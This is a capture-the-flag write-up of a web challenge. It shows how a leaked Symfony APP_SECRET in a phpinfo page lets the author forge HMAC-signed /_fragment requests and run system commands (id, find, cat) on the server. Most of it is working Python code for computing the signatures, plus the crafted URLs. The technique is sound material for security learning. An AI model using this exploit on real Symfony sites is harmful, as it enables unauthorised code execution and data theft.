Symphony writeup

Web

🎵

grafik

If we inspect the website at the given link we can see that is displays the output of phpinfo() grafik

Further down in the page we see two interesting environment variables APP_SECRET and SYMFONY_DOTENV_VARS

grafik

This indicated that the page is built with Symphony.

After some googling I found the following blog post that describes a way to gain remote code execution in Symphony based websites.

Testing for vulnerability

To test whether we can apply this exploit or not we open http://challs.dvc.tf:9000/_fragment which returns the expected HTTP 403.

grafik

Calculate valid signature

As described in the blog post we calculate the proper HMAC with the exposed APP_SECRET and the URL we want to access:

# APP_SECRET exposed from phpinfo: 60b938ad59ac73568c7f2d6c282cd084

# calculate HMAC with secret and URL
import base64, hmac, hashlib
print(base64.b64encode(hmac.HMAC(b'60b938ad59ac73568c7f2d6c282cd084', b'http://challs.dvc.tf:9000/_fragment', hashlib.sha256).digest()))
# b'fyV4XdLD0haRSGyIJA4CMbbai6jSknB09Tk+CE2/i/k='

# add calculated HMAC to request
# http://challs.dvc.tf:9000/_fragment?_hash=fyV4XdLD0haRSGyIJA4CMbbai6jSknB09Tk+CE2/i/k=    

# url encode
# http://challs.dvc.tf:9000/_fragment?_hash=fyV4XdLD0haRSGyIJA4CMbbai6jSknB09Tk%2BCE2%2Fi%2Fk%3D

Now the webserver returns HTTP 404 instead of 403: grafik

Remote code execution

We now know that we can properly calculate the HMAC so we try to run some code on the server:

# calculate HMAC for call to system("id", null) which would be called with
# http://challs.dvc.tf:9000/_fragment?_path=_controller=system&command=id&return_value=null
import base64, hmac, hashlib
print(base64.b64encode(hmac.HMAC(b'60b938ad59ac73568c7f2d6c282cd084', b'http://challs.dvc.tf:9000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull', hashlib.sha256).digest()))
# b'KMwS5Oc86Op3T32GVDjKUlzlRcWrqAkXP/HpBI50WiE='

# Append hash to url
# http://challs.dvc.tf:9000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=KMwS5Oc86Op3T32GVDjKUlzlRcWrqAkXP%2FHpBI50WiE%3D

grafik

We can see the result of running id by calling system($command).

Retrieving the flag

Now let's use find to find the flag. Using the following script we can generate URLs for running arbitrary commands on the server:

import base64, hmac, hashlib
import urllib.parse

appSecret = b'60b938ad59ac73568c7f2d6c282cd084'
baseUrl = 'http://challs.dvc.tf:9000/_fragment?_path=_controller%3D'
command = "system&command=find%20%2F%20-name%20flag.%2A&return_value=null"
fullUrl = baseUrl + urllib.parse.quote(command)
hash = base64.b64encode(hmac.HMAC(b'60b938ad59ac73568c7f2d6c282cd084', fullUrl.encode('UTF-8'), hashlib.sha256).digest())

print(fullUrl + '&_hash=' + urllib.parse.quote(hash))

This gives us the URL http://challs.dvc.tf:9000/_fragment?_path=_controller%3Dsystem%26command%3Dfind%2520%252F%2520-name%2520flag.%252A%26return_value%3Dnull&_hash=fQFSkmoPF7cmMBKMyTUdOJGkIIGKuWJKi3NOK7lA2HI%3D which reveals the flag

grafik

So we create a new URL by replacing the command with "system&command=cat%20%2Fvar%2Fwww%2Fhtml%2Fchall%2Fflag.txt%20&return_value=null". The new URL is http://challs.dvc.tf:9000/_fragment?_path=_controller%3Dsystem%26command%3Dcat%2520%252Fvar%252Fwww%252Fhtml%252Fchall%252Fflag.txt%2520%26return_value%3Dnull&_hash=3gkvuAFZrCeS0a0xE51myb6xBQejXT3x0uZRJi0GcK8%3D.

grafik

Entering this URL in the browser gives us the flag dvCTF{1c5b0abc99b19effaacd1aa7d6ec28f8}